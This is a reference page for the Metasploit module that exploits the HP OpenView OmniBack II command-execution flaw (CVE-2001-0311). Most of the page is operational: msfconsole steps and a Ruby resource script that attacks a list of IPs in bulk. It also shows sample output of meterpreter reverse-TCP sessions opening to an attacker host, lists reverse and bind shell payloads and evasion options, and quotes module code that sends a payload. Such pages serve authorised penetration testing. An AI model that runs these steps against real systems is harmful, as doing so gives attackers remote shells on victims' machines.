HP OpenView OmniBack II Command Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/misc/openview_omniback_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: HP OpenView OmniBack II Command Execution
Module: exploit/multi/misc/openview_omniback_exec
Source code: modules/exploits/multi/misc/openview_omniback_exec.rb
Disclosure date: 2001-02-28
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 5555
List of CVEs: CVE-2001-0311
This module uses a vulnerability in the OpenView Omniback II service to execute arbitrary commands. This vulnerability was discovered by DiGiT and his code was used as the basis for this module. For Microsoft Windows targets, due to module limitations, use the "unix/cmd/generic" payload and set CMD to your command. You can only pass a small amount of characters (4) to the command line on Windows.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using openview_omniback_exec against a single host
Normally, you can use exploit/multi/misc/openview_omniback_exec this way:
msf > use exploit/multi/misc/openview_omniback_exec
msf exploit(openview_omniback_exec) > show targets
... a list of targets ...
msf exploit(openview_omniback_exec) > set TARGET target-id
msf exploit(openview_omniback_exec) > show options
... show and set options ...
msf exploit(openview_omniback_exec) > exploit
Using openview_omniback_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your openview_omniback_exec will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/misc/openview_omniback_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the multi/misc/openview_omniback_exec exploit module looks in the msfconsole:
msf6 > use exploit/multi/misc/openview_omniback_exec
msf6 exploit(multi/misc/openview_omniback_exec) > show info
Name: HP OpenView OmniBack II Command Execution
Module: exploit/multi/misc/openview_omniback_exec
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2001-02-28
Provided by:
hdm <[email protected]>
aushack <[email protected]>
Available targets:
Id Name
-- ----
0 Unix
1 Windows
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5555 yes The target port (TCP)
Payload information:
Space: 1024
Description:
This module uses a vulnerability in the OpenView Omniback II service
to execute arbitrary commands. This vulnerability was discovered by
DiGiT and his code was used as the basis for this module. For
Microsoft Windows targets, due to module limitations, use the
"unix/cmd/generic" payload and set CMD to your command. You can only
pass a small amount of characters (4) to the command line on
Windows.
References:
https://nvd.nist.gov/vuln/detail/CVE-2001-0311
OSVDB (6018)
http://www.securityfocus.com/bid/11032
http://www.securiteam.com/exploits/6M00O150KG.html
Module Options
This is a complete list of options available in the multi/misc/openview_omniback_exec exploit:
msf6 exploit(multi/misc/openview_omniback_exec) > show options
Module options (exploit/multi/misc/openview_omniback_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5555 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Unix
Advanced Options
Here is a complete list of advanced options supported by the multi/misc/openview_omniback_exec exploit:
msf6 exploit(multi/misc/openview_omniback_exec) > show advanced
Module advanced options (exploit/multi/misc/openview_omniback_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/misc/openview_omniback_exec module can exploit:
msf6 exploit(multi/misc/openview_omniback_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Unix
1 Windows
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/misc/openview_omniback_exec exploit:
msf6 exploit(multi/misc/openview_omniback_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
1 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
2 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
3 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
4 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
5 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
6 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
7 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Evasion Options
Here is the full list of possible evasion options supported by the multi/misc/openview_omniback_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/misc/openview_omniback_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
The remote service did not reply to our request
Here is a relevant code snippet related to the "The remote service did not reply to our request" error message:
79: sock.put("echo /etc/*;\n")
80: res = sock.get_once(-1, 5)
81: disconnect
82:
83: if !(res and res.length > 0)
84: vprint_status("The remote service did not reply to our request")
85: return Exploit::CheckCode::Safe
86: end
87:
88: if (res =~ /passwd|group|resolv/)
89: vprint_status("The remote service is exploitable")
The remote service did not reply to our request
Here is a relevant code snippet related to the "The remote service did not reply to our request" error message:
114: disconnect
115:
116: print_status(res.to_s)
117:
118: if !(res and res.length > 0)
119: print_status("The remote service did not reply to our request")
120: return Exploit::CheckCode::Safe
121: end
122:
123: if (res =~ /V.o.l.u.m.e/) #Unicode
124: print_status("The remote service is exploitable")
The remote service did not reply to our request
Here is a relevant code snippet related to the "The remote service did not reply to our request" error message:
149: sock.put(poof)
150: sock.put(payload.encoded + ";\n")
151: res = sock.get_once(-1, 5)
152:
153: if !(res and res.length > 0)
154: print_status("The remote service did not reply to our request")
155: disconnect
156: return
157: end
158:
159: print(res)
The remote service did not reply to our request
Here is a relevant code snippet related to the "The remote service did not reply to our request" error message:
216: sock.put(poof)
217: #sock.put(payload.encoded + "\n")
218: res = sock.get_once(-1, 5)
219:
220: if !(res and res.length > 0)
221: print_status("The remote service did not reply to our request")
222: disconnect
223: return
224: end
225:
226: print(res)
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #9189 Merged Pull Request: Change author name to nick.
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
- #2525 Merged Pull Request: Change module boilerplate
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
References
See Also
Check also the following modules related to this module:
- exploit/unix/webapp/openview_connectednodes_exec
- exploit/windows/http/hp_nnm_openview5
- exploit/windows/http/hp_openview_insight_backdoor
- exploit/multi/misc/arkeia_agent_exec
- exploit/multi/misc/bmc_patrol_cmd_exec
- exploit/multi/misc/consul_rexec_exec
- exploit/multi/misc/consul_service_exec
- exploit/multi/misc/freeswitch_event_socket_cmd_exec
- exploit/multi/misc/hp_data_protector_exec_integutil
- exploit/multi/misc/hp_vsa_exec
- exploit/multi/misc/legend_bot_exec
- exploit/multi/misc/nomad_exec
- exploit/multi/misc/osgi_console_exec
- exploit/multi/misc/pbot_exec
- exploit/multi/misc/persistent_hpca_radexec_exec
- exploit/multi/misc/ra1nx_pubcall_exec
- exploit/multi/misc/teamcity_agent_xmlrpc_exec
- exploit/multi/misc/veritas_netbackup_cmdexec
- exploit/multi/misc/w3tw0rk_exec
- exploit/multi/misc/xdh_x_exec
Authors
- hdm
- aushack
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.